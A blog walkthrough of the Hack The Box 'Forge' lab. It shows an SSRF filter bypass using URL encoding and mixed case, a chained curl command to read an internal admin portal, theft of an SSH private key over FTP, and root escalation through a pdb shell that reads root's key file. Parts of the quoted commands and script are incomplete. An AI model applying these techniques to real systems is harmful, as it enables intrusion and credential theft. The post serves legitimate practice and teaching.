The Official Site of David Guest

Hack The Box: Forge

Forge is a medium rated box released within the last couple of weeks on the HTB platform. It’s also the target for today!

We start off with an nmap to reveal the attack surface.

# Nmap 7.91 scan initiated Tue Sep 21 11:49:28 2021 as: nmap -A -oA htb -sV -sC -p-
Nmap scan report for
Host is up (0.013s latency).
Not shown: 65532 closed ports
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see that ftp is present but not available to us and, other than OpenSSH, we really only have port 80 available to us. Boxes with such a limited surface area can be frustrating, but it also means there’s probably less rabbit holes to fall down.

Upon trying the IP in my browser it became apparent I would actually need to set up my hosts file today. I hadn’t done that yet – so I ran echo forge.htb > /etc/hosts to allow me to access the site.

We’re presented with a web site displaying photos and a cheeky ‘upload’ button in the top right. This is what we get when we click on that:

I’m already thinking SSRF here, which the name of the box almost hints to. In the background I kick off a ffuf to ensure I’m not missing endpoints, although I suspect there probably isn’t at this point. My obvious target is uploading from a url, which I give a thorough fuzzing. It seems pretty robustly implemented and command injection appears impossible. It was possible to determine that behind the scenes some Python was being run and that the url was being passed into urllib3.connection.HTTPConnectionPool but input was being sanitised well enough. No foothold here.

My initial ffuf had now long finished with nothing to report. This couldn’t be a rabbit hole because there’s so little here to attack – so there must be something else to go with it. So I ran another search, but this time for subdomains.

ffuf -c -w /home/kali/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://forge.htb -H "Host: FUZZ.forge.htb" -mc 200

This is actually the second iteration of what I initially tried. I received so much back in the form of 302’s, that I needed my output limited to just status code 200, which is what the -mc 200 option does for us.

So will we have a nice admin page to look at? Will we need to crack a password? Maybe there’s some SQL Injection we’ll need to try? Nope. None of these. Browsing to http://admin.forge.htb gives us a 4 word response:

“Only localhost is allowed!”

My earlier prediction that this box would be focused on SSRF was correct. The box creator has decided to throw a spanner in our works though. The upload feature is checking for references to localhost, and forge.htb and explicitly denying them.

I was chatting to a friend of mine recently who’d been interviewing for a major security organisation. One of their questions was to describe the difference between obfuscation and encoding. Of course the former is a deliberate attempt to prevent someone understanding what is happening, the latter is often a perfectly legitimate means translate from one format to another. Sometimes though encoding can be used to bypass controls. In our case here: When at first you don’t succeed, encode, encode, encode.

To bypass the control I tried URL encoding, which seemed to work quite nicely. It was only necessary to encode a single character (I chose the ‘h’ in the TLD). By accident I also found out the input was actually only checking against lower case characters too. Not that it makes any difference to us.

We have a new problem though…

Now I went to look at the page source, but that was greyed-out. Hmmm. Is this a browser generated error?

└─$ curl http://forge.htb/uploads/hBMCqNuQzymg6CAMvSak
<!DOCTYPE html>
    <title>Admin Portal</title>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
    <center><h1>Welcome Admins!</h1></center>

Yes it is! Rule 108, never trust the browser. Looks like we’re going to be able to browse around here, and before I get super bored having to type stuff in a browser, then copy and paste into curl the result, I get on to making this experience a little more bearable.

curl `curl -s -d 'url=http://ADMIN.FoRgE.HTB/announcements&remote=1' -X POST http://forge.htb/upload | grep uploads | cut -d '"' -f 2`

Yes there really are two curl commands one after the other. In the last HTB challenge I had to use back-ticks inject a command. Today I’m using this my side of the fence to pass the result from one curl command into the other. This allows me to move far more quickly at enumerating.

The output from this was a username and password and some information about an API.

The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.
The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.

Ah ftp! Thats where you’ve been hiding.

We can use our “double-curl” to enumerate the ftp site. The root of this was not where I expected for a medium box. It was sitting at the users home directory!

drwxrwxr-x    2 1000     1000         4096 Sep 20 21:14 nriver
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Sep 20 18:18 user.txt

I’m not going to wait for an invitation from the Queen, so I get the user flag and then wonder how I’m going to get a shell. Enumerating the visible directories got me nothing. I’m so used to trying ls -al I almost forgot we wouldn’t see hidden folders with ftp. Pushing my luck I had a look inside .ssh. That was almost too easy. The keys to kingdom were there for the taking, and I took them! After appropriately setting the permissions on my freshly obtained key, I ssh‘d into the box.

Privilege escalation was started with the standard sudo -l and once again the path was pretty obvious. A Python script which could only have been dreamt by administrator attending a mental health clinic involuntarily.

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', port))
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
except Exception as e:

Running the script requires me to start another ssh session and connect to the session this python script creates. A novelty, but I’m not sure quite what the point of this hoop was.

There’s no chance to change the environment as sudo has been fully locked down and this script is almost watertight. Almost. Well apart from the use of pdb when the program errors. If I send input to the program that makes it fall over, its going to drop me in a pdb shell which will allow me to execute whatever command I’d like.

Making the program hit an exception is as hard as sending an alphabetic character to it rather than an integer.

Listening on localhost:11130
invalid literal for int() with base 10: b'AAAA'
> /opt/<module>()
-> option = int(clientsock.recv(1024).strip())

Now I can run Python commands at my leisure. Theres 1001 ways to pwn this box at this point. I went with the following commands:

import os
os.system('cat /root/root.txt')
os.system('cat /root/.ssh/id_rsa')

It does exactly what it says on the tin. I got the root flag, and then the root ssh key. I logged in as root to prove the box had been fully pwned.

This was unexpectedly easy for a medium box. There are some real life applications, but not much extra to be learned for most.

Leave a Reply

Your email address will not be published.

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.